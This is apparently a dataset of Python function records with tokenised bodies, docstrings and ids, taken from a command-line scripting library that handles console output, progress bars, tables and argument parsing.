{"signature": "@contextmanager<EOL>def progress(length, **kwargs):", "body": "quiet = False<EOL>progress_class = kwargs.pop(\"<STR_LIT>\", Progress)<EOL>kwargs[\"<STR_LIT>\"] = istdout.info<EOL>kwargs[\"<STR_LIT:width>\"] = kwargs.get(\"<STR_LIT:width>\", globals()[\"<STR_LIT>\"])<EOL>kwargs[\"<STR_LIT>\"] = length<EOL>pbar = progress_class(**kwargs)<EOL>pbar.update(<NUM_LIT:0>)<EOL>yield pbar<EOL>pbar.update(length)<EOL>br()<EOL>", "docstring": "display a progress that can update in place\n\n    example -- \n        total_length = 1000\n        with echo.progress(total_length) as p:\n            for x in range(total_length):\n                # do something crazy\n                p.update(x)\n\n    length -- int -- the total size of what you will be updating progress on", "id": "f6248:m0"}
{"signature": "def progress_bar(length, **kwargs):", "body": "kwargs[\"<STR_LIT>\"] = ProgressBar<EOL>return progress(length, **kwargs)<EOL>", "docstring": "display a progress bar\n\n    example -- \n        total_length = 1000\n        with echo.progress_bar(total_length) as bar:\n            for x in range(total_length):\n                # do something crazy\n                bar.update(x)\n\n    length -- int -- the total size of what you will be iterating on", "id": "f6248:m1"}
{"signature": "def increment(itr, n=<NUM_LIT:1>, format_msg=\"<STR_LIT>\"):", "body": "for i, v in enumerate(itr, n):<EOL><INDENT>with prefix(format_msg, i):<EOL><INDENT>yield v<EOL><DEDENT><DEDENT>", "docstring": "Similar to enumerate but will set format_msg.format(n) into the prefix on\n    each iteration\n\n    :Example:\n        for v in increment([\"foo\", \"bar\"]):\n            echo.out(v) # 1. foo\\n2. bar\n\n    :param itr: iterator, any iterator you want to set a numeric prefix on on every\n        iteration\n    :param n: integer, the starting integer for the numeric prefix\n    :param format_msg: string, this will basically do: format_msg.format(n) so there\n        should only be one set of curly brackets\n    :returns: yield generator", "id": "f6248:m2"}
{"signature": "def prefix(format_msg, *args, **kwargs):", "body": "return Prefix(format_msg, *args, **kwargs)<EOL>", "docstring": "Return a prefix instance\n\n    :Example:\n        with echo.prefix(\"foo \"):\n            echo.out(\"bar\") # \"foo bar\"", "id": "f6248:m3"}
{"signature": "def exception(e):", "body": "stderr.exception(e)<EOL>", "docstring": "print an exception message to stderr (this does not honor quiet)", "id": "f6248:m4"}
{"signature": "def err(format_msg, *args, **kwargs):", "body": "exc_info = kwargs.pop(\"<STR_LIT>\", False)<EOL>stderr.warning(str(format_msg).format(*args, **kwargs), exc_info=exc_info)<EOL>", "docstring": "print format_msg to stderr", "id": "f6248:m5"}
{"signature": "def ch(c):", "body": "<EOL>istdout.info(c)<EOL>", "docstring": "print one or more characters without a newline at the end\n\n    example --\n        for x in range(1000):\n            echo.ch(\".\")\n\n    c -- string -- the chars that will be output", "id": "f6248:m6"}
{"signature": "def out(format_msg=\"<STR_LIT>\", *args, **kwargs):", "body": "logmethod = kwargs.get(\"<STR_LIT>\", stdout.info)<EOL>if format_msg != \"<STR_LIT>\":<EOL><INDENT>if Prefix.has():<EOL><INDENT>if isinstance(format_msg, basestring):<EOL><INDENT>format_msg = Prefix.get() + format_msg<EOL><DEDENT>else:<EOL><INDENT>format_msg = Prefix.get() + str(format_msg)<EOL><DEDENT><DEDENT>if isinstance(format_msg, basestring):<EOL><INDENT>if args or kwargs:<EOL><INDENT>s = format_msg.format(*args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>s = format_msg<EOL><DEDENT>logmethod(s)<EOL><INDENT>width = globals()[\"<STR_LIT:width>\"]<EOL>s = textwrap.fill(s, width=width)<EOL>stdout.info(s)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logmethod(str(format_msg))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logmethod(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "print format_msg to stdout, taking into account --quiet setting", "id": "f6248:m7"}
{"signature": "def verbose(format_msg=\"<STR_LIT>\", *args, **kwargs):", "body": "kwargs[\"<STR_LIT>\"] = stdout.debug<EOL>out(format_msg, *args, **kwargs)<EOL>", "docstring": "print format_msg to stdout, taking into account --verbose flag", "id": "f6248:m8"}
{"signature": "def hr(width=<NUM_LIT:0>):", "body": "if not width: width = globals()[\"<STR_LIT>\"]<EOL>bar(\"<STR_LIT:_>\", width=width)<EOL>blank()<EOL>", "docstring": "similar to the html horizontal rule in html", "id": "f6248:m9"}
{"signature": "def br(count=<NUM_LIT:1>):", "body": "for x in range(count):<EOL><INDENT>out(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "print out a blank newline", "id": "f6248:m13"}
{"signature": "def ul(*lines):", "body": "bullets(*lines, numbers=True)<EOL>", "docstring": "unordered list", "id": "f6248:m14"}
{"signature": "def ol(*lines):", "body": "bullets(*lines, numbers=False)<EOL>", "docstring": "ordered list", "id": "f6248:m15"}
{"signature": "def banner(*lines, **kwargs):", "body": "sep = kwargs.get(\"<STR_LIT>\", \"<STR_LIT:*>\")<EOL>count = kwargs.get(\"<STR_LIT:width>\", globals()[\"<STR_LIT>\"])<EOL>out(sep * count)<EOL>if lines:<EOL><INDENT>out(sep)<EOL>for line in lines:<EOL><INDENT>out(\"<STR_LIT>\".format(sep, line))<EOL><DEDENT>out(sep)<EOL>out(sep * count)<EOL><DEDENT>", "docstring": "prints a banner\n\n    sep -- string -- the character that will be on the line on the top and bottom\n        and before any of the lines, defaults to *\n    count -- integer -- the line width, defaults to 80", "id": "f6248:m20"}
{"signature": "def row(row, **kwargs):", "body": "return table([row], **kwargs)<EOL>", "docstring": "This is more of a specialty version of table that just prints one row\n\n    this is handy for when you are iterating through data and don't want to print\n    it all at the end but would rather print it one row at a time\n\n    :param row: list, the columns of the row you want to print\n    :param **kwargs: dict, all the options in table()", "id": "f6248:m21"}
{"signature": "def table(*columns, **kwargs):", "body": "ret = []<EOL>prefix = kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>buf_count = kwargs.get('<STR_LIT>', <NUM_LIT:2>)<EOL>if len(columns) == <NUM_LIT:1>:<EOL><INDENT>columns = list(columns[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>columns = list(zip(*columns))<EOL><DEDENT>headers = kwargs.get(\"<STR_LIT>\", [])<EOL>if headers:<EOL><INDENT>columns.insert(<NUM_LIT:0>, headers)<EOL><DEDENT>widths = kwargs.get(\"<STR_LIT>\", [])<EOL>row_counts = Counter()<EOL>for i in range(len(widths)):<EOL><INDENT>row_counts[i] = int(widths[i])<EOL><DEDENT>width = int(kwargs.get(\"<STR_LIT:width>\", <NUM_LIT:0>))<EOL>for row in columns:<EOL><INDENT>for i, c in enumerate(row):<EOL><INDENT>if isinstance(c, basestring):<EOL><INDENT>cl = len(c)<EOL><DEDENT>else:<EOL><INDENT>cl = len(str(c))<EOL><DEDENT>if cl > row_counts[i]:<EOL><INDENT>row_counts[i] = cl<EOL><DEDENT><DEDENT><DEDENT>width = int(kwargs.get(\"<STR_LIT:width>\", <NUM_LIT:0>))<EOL>if width:<EOL><INDENT>for i in row_counts:<EOL><INDENT>if row_counts[i] < width:<EOL><INDENT>row_counts[i] = width<EOL><DEDENT><DEDENT><DEDENT>def colstr(c):<EOL><INDENT>if isinstance(c, basestring): return c<EOL>return str(c)<EOL><DEDENT>def rowstr(row, prefix, row_counts):<EOL><INDENT>row_format = prefix<EOL>cols = list(map(colstr, row))<EOL>for i in range(len(row_counts)):<EOL><INDENT>c = cols[i]<EOL>if re.match(r\"<STR_LIT>\", c):<EOL><INDENT>if i == <NUM_LIT:0>:<EOL><INDENT>row_format += \"<STR_LIT>\" + str(row_counts[i]) + \"<STR_LIT:}>\"<EOL><DEDENT>else:<EOL><INDENT>row_format += \"<STR_LIT>\" + str(row_counts[i] + buf_count) + \"<STR_LIT:}>\"<EOL><DEDENT><DEDENT>else:<EOL><INDENT>row_format += \"<STR_LIT>\" + str(row_counts[i] + buf_count) + \"<STR_LIT:}>\"<EOL><DEDENT><DEDENT>return row_format.format(*cols)<EOL><DEDENT>for row in columns:<EOL><INDENT>ret.append(rowstr(row, prefix, row_counts))<EOL><DEDENT>out(os.linesep.join(ret))<EOL>", "docstring": "format columned data so we can easily print it out on a console, this just takes\ncolumns of data and it will format it into properly aligned columns, it's not\nfancy, but it works for most type of strings that I need it for, like server name\nlists.\n\nother formatting options:\n    http://stackoverflow.com/a/8234511/5006\n\nother packages that probably do this way better:\n    https://stackoverflow.com/a/26937531/5006\n\n:Example:\n    >>> echo.table([(1, 2), (3, 4), (5, 6), (7, 8), (9, 0)])\n    1  2\n    3  4\n    5  6\n    7  8\n    9  0\n    >>> echo.table([1, 3, 5, 7, 9], [2, 4, 6, 8, 0])\n    1  2\n    3  4\n    5  6\n    7  8\n    9  0\n\n:param *columns: can either be a list of rows or multiple lists representing each\n    column in the table\n:param **kwargs: dict\n    prefix -- string -- what you want before each row (eg, a tab)\n    buf_count -- integer -- how many spaces between longest col value and its neighbor\n    headers -- list -- the headers you want, must match column count\n    widths -- list -- the widths of each column you want to use, this doesn't have\n        to match column count, so you can do something like [0, 5] to set the\n        width of the second column\n    width -- int -- similar to widths except it will set this value for all columns", "id": "f6248:m22"}
{"signature": "def prompt(question, choices=None):", "body": "if not re.match(\"<STR_LIT>\", question):<EOL><INDENT>question = \"<STR_LIT>\".format(question)<EOL><DEDENT>while True:<EOL><INDENT>if sys.version_info[<NUM_LIT:0>] > <NUM_LIT:2>:<EOL><INDENT>answer = input(question)<EOL><DEDENT>else:<EOL><INDENT>answer = raw_input(question)<EOL><DEDENT>if not choices or answer in choices:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return answer<EOL>", "docstring": "echo a prompt to the user and wait for an answer\n\n    question -- string -- the prompt for the user\n    choices -- list -- if given, only exit when prompt matches one of the choices\n    return -- string -- the answer that was given by the user", "id": "f6248:m23"}
{"signature": "@arg(\"<STR_LIT:path>\", default=os.getcwd(), nargs='<STR_LIT:?>', help=\"<STR_LIT>\")<EOL>def main(path):", "body": "basepath = os.path.abspath(os.path.expanduser(str(path)))<EOL>echo.h2(\"<STR_LIT>\".format(basepath))<EOL>echo.br()<EOL>for root_dir, dirs, files in os.walk(basepath, topdown=True):<EOL><INDENT>for f in fnmatch.filter(files, '<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>filepath = os.path.join(root_dir, f)<EOL>with open(filepath, encoding=\"<STR_LIT>\") as fp:<EOL><INDENT>body = fp.read()<EOL>is_console = \"<STR_LIT>\" in body<EOL>is_console = is_console or \"<STR_LIT:code>\" in body<EOL>is_console = is_console and \"<STR_LIT>\" in body<EOL>if is_console:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>s = captain.Script(filepath)<EOL>if s.can_run_from_cli():<EOL><INDENT>rel_filepath = s.call_path(basepath)<EOL>p = s.parser<EOL>echo.h3(rel_filepath)<EOL>desc = p.description<EOL>if desc:<EOL><INDENT>echo.indent(desc, indent=(\"<STR_LIT:U+0020>\" * <NUM_LIT:4>))<EOL><DEDENT>subcommands = s.subcommands<EOL>if subcommands:<EOL><INDENT>echo.br()<EOL>echo.indent(\"<STR_LIT>\", indent=(\"<STR_LIT:U+0020>\" * <NUM_LIT:4>))<EOL>for sc in subcommands.keys():<EOL><INDENT>echo.indent(sc, indent=(\"<STR_LIT:U+0020>\" * <NUM_LIT:6>))<EOL><DEDENT><DEDENT>echo.br()<EOL><DEDENT><DEDENT>except captain.ParseError:<EOL><INDENT>pass<EOL><DEDENT>except Exception as e:<EOL><INDENT>echo.err(\"<STR_LIT>\", f)<EOL>echo.verbose(e.message)<EOL>echo.br()<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "scan path directory and any subdirectories for valid captain scripts", "id": "f6249:m0"}
{"signature": "def exit(mod_name=\"<STR_LIT>\"):", "body": "if mod_name and mod_name == \"<STR_LIT:__main__>\":<EOL><INDENT>calling_mod = sys.modules.get(\"<STR_LIT:__main__>\", None)<EOL><DEDENT>else:<EOL><INDENT>calling_mod = discover_if_calling_mod()<EOL><DEDENT>if calling_mod:<EOL><INDENT>s = Script(inspect.getfile(calling_mod), module=calling_mod)<EOL>raw_args = sys.argv[<NUM_LIT:1>:]<EOL>try:<EOL><INDENT>ret_code = s.run(raw_args)<EOL><DEDENT>except Stop as e:<EOL><INDENT>ret_code = e.code<EOL>msg = str(e)<EOL>if msg:<EOL><INDENT>if ret_code != <NUM_LIT:0>:<EOL><INDENT>echo.err(msg)<EOL><DEDENT>else:<EOL><INDENT>echo.out(msg)<EOL><DEDENT><DEDENT><DEDENT>sys.exit(ret_code)<EOL><DEDENT>", "docstring": "A stand-in for the normal sys.exit()\n\n    all the magic happens here, when this is called at the end of a script it will\n    figure out all the available commands and arguments that can be passed in,\n    then handle exiting the script and returning the status code. \n\n    :Example:\n\n        from captain import exit\n        exit(__name__)\n\n    This also acts as a guard against the script being traditionally imported, so\n    even if you have this at the end of the script, it won't actually exit if the\n    script is traditionally imported", "id": "f6250:m1"}
{"signature": "@property<EOL><INDENT>def parser(self):<DEDENT>", "body": "module = self.module<EOL>subcommands = self.subcommands<EOL>if subcommands:<EOL><INDENT>module_desc = inspect.getdoc(module)<EOL>parser = Parser(description=module_desc, module=module)<EOL>subparsers = parser.add_subparsers()<EOL>for sc_name, callback in subcommands.items():<EOL><INDENT>sc_name = sc_name.replace(\"<STR_LIT:_>\", \"<STR_LIT:->\")<EOL>cb_desc = inspect.getdoc(callback)<EOL>sc_parser = subparsers.add_parser(<EOL>sc_name,<EOL>callback=callback,<EOL>help=cb_desc<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>parser = Parser(callback=self.callbacks[self.function_name], module=module)<EOL><DEDENT>return parser<EOL>", "docstring": "return the parser for the current name", "id": "f6250:c0:m0"}
{"signature": "@property<EOL><INDENT>def module(self):<DEDENT>", "body": "<EOL>if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>if \"<STR_LIT:__main__>\" in sys.modules:<EOL><INDENT>mod = sys.modules[\"<STR_LIT:__main__>\"]<EOL>path = self.normalize_path(mod.__file__)<EOL>if os.path.splitext(path) == os.path.splitext(self.path):<EOL><INDENT>self._module = mod<EOL><DEDENT>else:<EOL><INDENT>self._module = imp.load_source('<STR_LIT>', self.path)<EOL><DEDENT><DEDENT><DEDENT>return self._module<EOL>", "docstring": "load the module so we can actually run the script's function", "id": "f6250:c0:m5"}
{"signature": "@property<EOL><INDENT>def body(self):<DEDENT>", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._body = inspect.getsource(self.module)<EOL><DEDENT>return self._body<EOL>", "docstring": "get the contents of the script", "id": "f6250:c0:m6"}
{"signature": "def run(self, raw_args):", "body": "parser = self.parser<EOL>args, kwargs = parser.parse_callback_args(raw_args)<EOL>callback = kwargs.pop(\"<STR_LIT>\")<EOL>if parser.has_injected_quiet():<EOL><INDENT>levels = kwargs.pop(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>logging.inject_quiet(levels)<EOL><DEDENT>try:<EOL><INDENT>ret_code = callback(*args, **kwargs)<EOL>ret_code = int(ret_code) if ret_code else <NUM_LIT:0><EOL><DEDENT>except ArgError as e:<EOL><INDENT>echo.err(\"<STR_LIT>\", parser.prog, str(e))<EOL>ret_code = <NUM_LIT:2><EOL><DEDENT>return ret_code<EOL>", "docstring": "parse and import the script, and then run the script's main function", "id": "f6250:c0:m9"}
{"signature": "def call_path(self, basepath):", "body": "rel_filepath = self.path<EOL>if basepath:<EOL><INDENT>rel_filepath = os.path.relpath(self.path, basepath)<EOL><DEDENT>basename = self.name<EOL>if basename in set(['<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>rel_filepath = os.path.dirname(rel_filepath)<EOL><DEDENT>return rel_filepath<EOL>", "docstring": "return that path to be able to call this script from the passed in\n        basename\n\n        example -- \n            basepath = /foo/bar\n            self.path = /foo/bar/che/baz.py\n            self.call_path(basepath) # che/baz.py\n\n        basepath -- string -- the directory you would be calling this script in\n        return -- string -- the minimum path that you could use to execute this script\n            in basepath", "id": "f6250:c0:m10"}
{"signature": "def parse(self):", "body": "if self.parsed: return<EOL>self.callbacks = {}<EOL>regex = re.compile(\"<STR_LIT>\".format(self.function_name), flags=re.I)<EOL>mains = set()<EOL>body = self.body<EOL>ast_tree = ast.parse(self.body, self.path)<EOL>for n in ast_tree.body:<EOL><INDENT>if hasattr(n, '<STR_LIT:name>'):<EOL><INDENT>if regex.match(n.name):<EOL><INDENT>mains.add(n.name)<EOL><DEDENT><DEDENT>if hasattr(n, '<STR_LIT:value>'):<EOL><INDENT>ns = n.value<EOL>if hasattr(ns, '<STR_LIT:id>'):<EOL><INDENT>if regex.match(ns.id):<EOL><INDENT>mains.add(ns.id)<EOL><DEDENT><DEDENT><DEDENT>if hasattr(n, '<STR_LIT>'):<EOL><INDENT>ns = n.targets[<NUM_LIT:0>]<EOL>if hasattr(ns, '<STR_LIT:id>'):<EOL><INDENT>if regex.match(ns.id):<EOL><INDENT>mains.add(ns.id)<EOL><DEDENT><DEDENT><DEDENT>if hasattr(n, '<STR_LIT>'):<EOL><INDENT>for ns in n.names:<EOL><INDENT>if hasattr(ns, '<STR_LIT:name>'):<EOL><INDENT>if regex.match(ns.name):<EOL><INDENT>mains.add(ns.name)<EOL><DEDENT><DEDENT>if getattr(ns, '<STR_LIT>', None):<EOL><INDENT>if regex.match(ns.asname):<EOL><INDENT>mains.add(ns.asname)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if len(mains) > <NUM_LIT:0>:<EOL><INDENT>module = self.module<EOL>for function_name in mains:<EOL><INDENT>cb = getattr(module, function_name, None)<EOL>if cb and callable(cb):<EOL><INDENT>self.callbacks[function_name] = cb<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise ParseError(\"<STR_LIT>\")<EOL><DEDENT>self.parsed = True<EOL>return len(self.callbacks) > <NUM_LIT:0><EOL>", "docstring": "load the script and set the parser and argument info\n\n        I feel that this is way too brittle to be used long term, I think it just\n        might be best to import the stupid module, the thing I don't like about that\n        is then we import basically everything, which seems bad?", "id": "f6250:c0:m11"}
{"signature": "def can_run_from_cli(self):", "body": "ret = False<EOL>ast_tree = ast.parse(self.body, self.path)<EOL>calls = self._find_calls(ast_tree, __name__, \"<STR_LIT>\")<EOL>for call in calls:<EOL><INDENT>if re.search(\"<STR_LIT>\".format(re.escape(call)), self.body):<EOL><INDENT>ret = True<EOL>break<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "return True if this script can be run from the command line", "id": "f6250:c0:m12"}
{"signature": "def _find_calls(self, ast_tree, called_module, called_func):", "body": "s = set()<EOL>s.add(\"<STR_LIT>\".format(called_module, called_func))<EOL>if hasattr(ast_tree, '<STR_LIT:body>'):<EOL><INDENT>if isinstance(ast_tree.body, collections.Iterable):<EOL><INDENT>for ast_body in ast_tree.body:<EOL><INDENT>s.update(self._find_calls(ast_body, called_module, called_func))<EOL><DEDENT><DEDENT><DEDENT>elif hasattr(ast_tree, '<STR_LIT>'):<EOL><INDENT>if hasattr(ast_tree, '<STR_LIT>'):<EOL><INDENT>if ast_tree.module == called_module:<EOL><INDENT>for ast_name in ast_tree.names:<EOL><INDENT>if ast_name.name == called_func:<EOL><INDENT>s.add(unicode(ast_name.asname if ast_name.asname is not None else ast_name.name))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for ast_name in ast_tree.names:<EOL><INDENT>if hasattr(ast_name, '<STR_LIT:name>') and (ast_name.name == called_module):<EOL><INDENT>call = \"<STR_LIT>\".format(<EOL>ast_name.asname if ast_name.asname is not None else ast_name.name,<EOL>called_func<EOL>)<EOL>s.add(call)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return s<EOL>", "docstring": "scan the abstract source tree looking for possible ways to call the called_module\nand called_func\n\nborrowed from pout\n\nast_tree -- _ast.* instance -- the internal ast object that is being checked, returned from compile()\n    with ast.PyCF_ONLY_AST flag\ncalled_module -- string -- we are checking the ast for imports of this module\ncalled_func -- string -- we are checking the ast for aliases of this function\nreturn -- set -- the list of possible calls the ast_tree could make to call the called_func", "id": "f6250:c0:m13"}
{"signature": "def __init__(self, code, msg=\"<STR_LIT>\", *args, **kwargs):", "body": "self.code = code<EOL>super(Stop, self).__init__(msg, *args, **kwargs)<EOL>", "docstring": "create the error\n\n        :param code: integer, the exit code\n        :param msg: string, the message will be printed out to stderr if code!=0 or\n            stdout if code==0", "id": "f6252:c3:m0"}
{"signature": "def is_instance(self):", "body": "ret = False<EOL>val = self.callback<EOL>if self.is_class(): return False<EOL>ret = not inspect.isfunction(val) and not inspect.ismethod(val)<EOL><INDENT>if is_py2:<EOL><INDENT>ret = isinstance(val, types.InstanceType) or hasattr(val, '<STR_LIT>')and not (hasattr(val, '<STR_LIT>') or hasattr(val, '<STR_LIT>'))<EOL><DEDENT>else:<EOL><INDENT>ret = not inspect.isfunction(val) and not inspect.ismethod(val)<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "return True if callback is an instance of a class", "id": "f6254:c0:m7"}
{"signature": "def is_function(self):", "body": "if self.is_instance() or self.is_class(): return False<EOL>return isinstance(self.callback, (Callable, classmethod))<EOL>", "docstring": "return True if callback is a vanilla plain jane function", "id": "f6254:c0:m8"}
{"signature": "def merge_kwargs(self, kwargs):", "body": "if kwargs:<EOL><INDENT>self.parser_kwargs.update(kwargs)<EOL><DEDENT>self.parser_kwargs.setdefault('<STR_LIT>', self.name)<EOL>if '<STR_LIT:default>' in kwargs:<EOL><INDENT>self.parser_kwargs[\"<STR_LIT:default>\"] = kwargs[\"<STR_LIT:default>\"]<EOL>self.parser_kwargs[\"<STR_LIT>\"] = False<EOL><DEDENT>elif '<STR_LIT:action>' in kwargs:<EOL><INDENT>if kwargs['<STR_LIT:action>'] in set(['<STR_LIT>', '<STR_LIT:store_true>']):<EOL><INDENT>self.parser_kwargs['<STR_LIT>'] = False<EOL><DEDENT>elif kwargs['<STR_LIT:action>'] in set(['<STR_LIT:version>']):<EOL><INDENT>self.parser_kwargs.pop('<STR_LIT>', False)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.parser_kwargs.setdefault(\"<STR_LIT>\", True)<EOL><DEDENT>", "docstring": "these kwargs come from the @arg decorator, they are then merged into any\n        keyword arguments that were automatically generated from the main function\n        introspection", "id": "f6254:c1:m4"}
{"signature": "def merge_from_list(self, list_args):", "body": "def xs(name, parser_args, list_args):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>for args, kwargs in list_args:<EOL><INDENT>if len(set(args) & parser_args) > <NUM_LIT:0>:<EOL><INDENT>yield args, kwargs<EOL><DEDENT>else:<EOL><INDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>if kwargs['<STR_LIT>'] == name:<EOL><INDENT>yield args, kwargs<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>for args, kwargs in xs(self.name, self.parser_args, list_args):<EOL><INDENT>self.merge_args(args)<EOL>self.merge_kwargs(kwargs)<EOL><DEDENT>", "docstring": "find any matching parser_args from list_args and merge them into this\n        instance\n\n        list_args -- list -- an array of (args, kwargs) tuples", "id": "f6254:c1:m5"}
{"signature": "def set_default(self, na):", "body": "kwargs = {}<EOL>if isinstance(na, (type, types.FunctionType)):<EOL><INDENT>kwargs['<STR_LIT:type>'] = na<EOL>kwargs['<STR_LIT>'] = True<EOL>kwargs[\"<STR_LIT:default>\"] = argparse.SUPPRESS<EOL><DEDENT>elif isinstance(na, bool):<EOL><INDENT>kwargs['<STR_LIT:action>'] = '<STR_LIT>' if na else '<STR_LIT:store_true>'<EOL>kwargs['<STR_LIT>'] = False<EOL><DEDENT>elif isinstance(na, (int, float, str)):<EOL><INDENT>kwargs['<STR_LIT:type>'] = type(na)<EOL>kwargs['<STR_LIT:default>'] = na<EOL>kwargs['<STR_LIT>'] = False<EOL><DEDENT>elif isinstance(na, (list, set)):<EOL><INDENT>na = list(na)<EOL>kwargs['<STR_LIT:action>'] = '<STR_LIT>'<EOL>kwargs['<STR_LIT>'] = True<EOL>if len(na) > <NUM_LIT:0>:<EOL><INDENT>if isinstance(na[<NUM_LIT:0>], type):<EOL><INDENT>kwargs['<STR_LIT:type>'] = na[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>kwargs['<STR_LIT:action>'] = '<STR_LIT:store>'<EOL>l = set()<EOL>ltype = None<EOL>for elt in na:<EOL><INDENT>vtype = type(elt)<EOL>l.add(elt)<EOL>if ltype is None:<EOL><INDENT>ltype = vtype<EOL><DEDENT>else:<EOL><INDENT>if ltype is not vtype:<EOL><INDENT>ltype = str<EOL><DEDENT><DEDENT><DEDENT>kwargs['<STR_LIT>'] = l<EOL>kwargs['<STR_LIT:type>'] = ltype<EOL><DEDENT><DEDENT><DEDENT>self.parser_kwargs.update(kwargs)<EOL>", "docstring": "this is used for introspection from the main() method when there is an\n        argument with a default value, this figures out how to set up the ArgParse\n        arguments", "id": "f6254:c1:m6"}
{"signature": "def _fill_text(self, text, width, indent):", "body": "lines = []<EOL>for line in text.splitlines(False):<EOL><INDENT>if line:<EOL><INDENT>lines.extend(textwrap.wrap(<EOL>line.strip(),<EOL>width,<EOL>initial_indent=indent,<EOL>subsequent_indent=indent<EOL>))<EOL><DEDENT>else:<EOL><INDENT>lines.append(line)<EOL><DEDENT><DEDENT>text = \"<STR_LIT:\\n>\".join(lines)<EOL>return text<EOL>", "docstring": "Overridden to not get rid of newlines\n\n        https://github.com/python/cpython/blob/2.7/Lib/argparse.py#L620", "id": "f6254:c4:m0"}
{"signature": "def parse_callback_args(self, raw_args):", "body": "args = []<EOL>arg_info = self.arg_info<EOL>kwargs = dict(arg_info['<STR_LIT>'])<EOL>parsed_args = []<EOL>unknown_args = getattr(self, \"<STR_LIT>\", False)<EOL>if unknown_args:<EOL><INDENT>parsed_args, parsed_unknown_args = self.parse_known_args(raw_args)<EOL>d = defaultdict(list)<EOL>for k, v in ((k.lstrip('<STR_LIT:->'), v) for k,v in (a.split('<STR_LIT:=>') for a in parsed_unknown_args)):<EOL><INDENT>d[k].append(v)<EOL><DEDENT>for k in (k for k in d if len(d[k])==<NUM_LIT:1>):<EOL><INDENT>d[k] = d[k][<NUM_LIT:0>]<EOL><DEDENT>kwargs.update(d)<EOL><DEDENT>else:<EOL><INDENT>parsed_args = self.parse_args(raw_args)<EOL><DEDENT>kwargs.update(vars(parsed_args))<EOL>for k in arg_info['<STR_LIT>']:<EOL><INDENT>args.append(kwargs.pop(k))<EOL><DEDENT>if arg_info['<STR_LIT:args>']:<EOL><INDENT>args.extend(kwargs.pop(arg_info['<STR_LIT:args>']))<EOL><DEDENT>return args, kwargs<EOL>", "docstring": "This is the method that is called from Script.run(), this is the insertion\n        point for parsing all the arguments though on init this will find all args it\n        can, so this method pulls already found args from class variables", "id": "f6254:c5:m3"}
{"signature": "def find_args(self):", "body": "arg_info = self.arg_info<EOL>main = self.callback<EOL>cbi = CallbackInspect(main)<EOL>all_arg_names = set()<EOL>decorator_args = cbi.args<EOL>args, args_name, kwargs_name, args_defaults = cbi.argspec<EOL>arg_info['<STR_LIT>'] = args<EOL>default_offset = len(args) - len(args_defaults)<EOL>comp_args = set()<EOL>for da in decorator_args:<EOL><INDENT>comp_args.update(da[<NUM_LIT:0>])<EOL><DEDENT>for i, arg_name in enumerate(args):<EOL><INDENT>if arg_name in comp_args: continue<EOL>a = ScriptKwarg(arg_name)<EOL>default_i = i - default_offset<EOL>if default_i >= <NUM_LIT:0>:<EOL><INDENT>na = args_defaults[default_i]<EOL>a.set_default(na)<EOL><DEDENT>a.merge_from_list(decorator_args)<EOL>if a.required:<EOL><INDENT>arg_info['<STR_LIT>'].append(a.name)<EOL><DEDENT>else:<EOL><INDENT>arg_info['<STR_LIT>'][a.name] = a.default<EOL><DEDENT>all_arg_names |= a.parser_args<EOL>if \"<STR_LIT:default>\" not in a.parser_kwargsand \"<STR_LIT:action>\" not in a.parser_kwargsand \"<STR_LIT>\" not in a.parser_kwargs:<EOL><INDENT>keys = self._option_string_actions.keys()<EOL>found_arg = False<EOL>for pa in a.parser_args:<EOL><INDENT>if pa in keys:<EOL><INDENT>found_arg = True<EOL>break<EOL><DEDENT><DEDENT>if not found_arg:<EOL><INDENT>self.add_argument(*a.parser_args, **a.parser_kwargs)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.add_argument(*a.parser_args, **a.parser_kwargs)<EOL><DEDENT><DEDENT>self.unknown_args = False<EOL>if self.add_help:<EOL><INDENT>if args_name:<EOL><INDENT>a = ScriptArg(args_name, nargs='<STR_LIT:*>')<EOL>a.merge_from_list(decorator_args)<EOL>all_arg_names |= a.parser_args<EOL>self.add_argument(*a.parser_args, **a.parser_kwargs)<EOL>arg_info['<STR_LIT:args>'] = args_name<EOL><DEDENT>if kwargs_name:<EOL><INDENT>self.unknown_args = True<EOL>arg_info['<STR_LIT>'] = kwargs_name<EOL><DEDENT><DEDENT>for da, dkw in decorator_args:<EOL><INDENT>if da[<NUM_LIT:0>] not in all_arg_names:<EOL><INDENT>arg_name = da[<NUM_LIT:0>]<EOL>if arg_name.startswith(\"<STR_LIT:->\"):<EOL><INDENT>a = ScriptKwarg(*da)<EOL><DEDENT>else:<EOL><INDENT>a = ScriptArg(*da)<EOL><DEDENT>a.merge_kwargs(dkw)<EOL>self.add_argument(*a.parser_args, **a.parser_kwargs)<EOL><DEDENT><DEDENT>self.arg_info = arg_info<EOL>", "docstring": "when a new parser is created this is the method that is called from its\n        __init__ method to find all the arguments", "id": "f6254:c5:m5"}
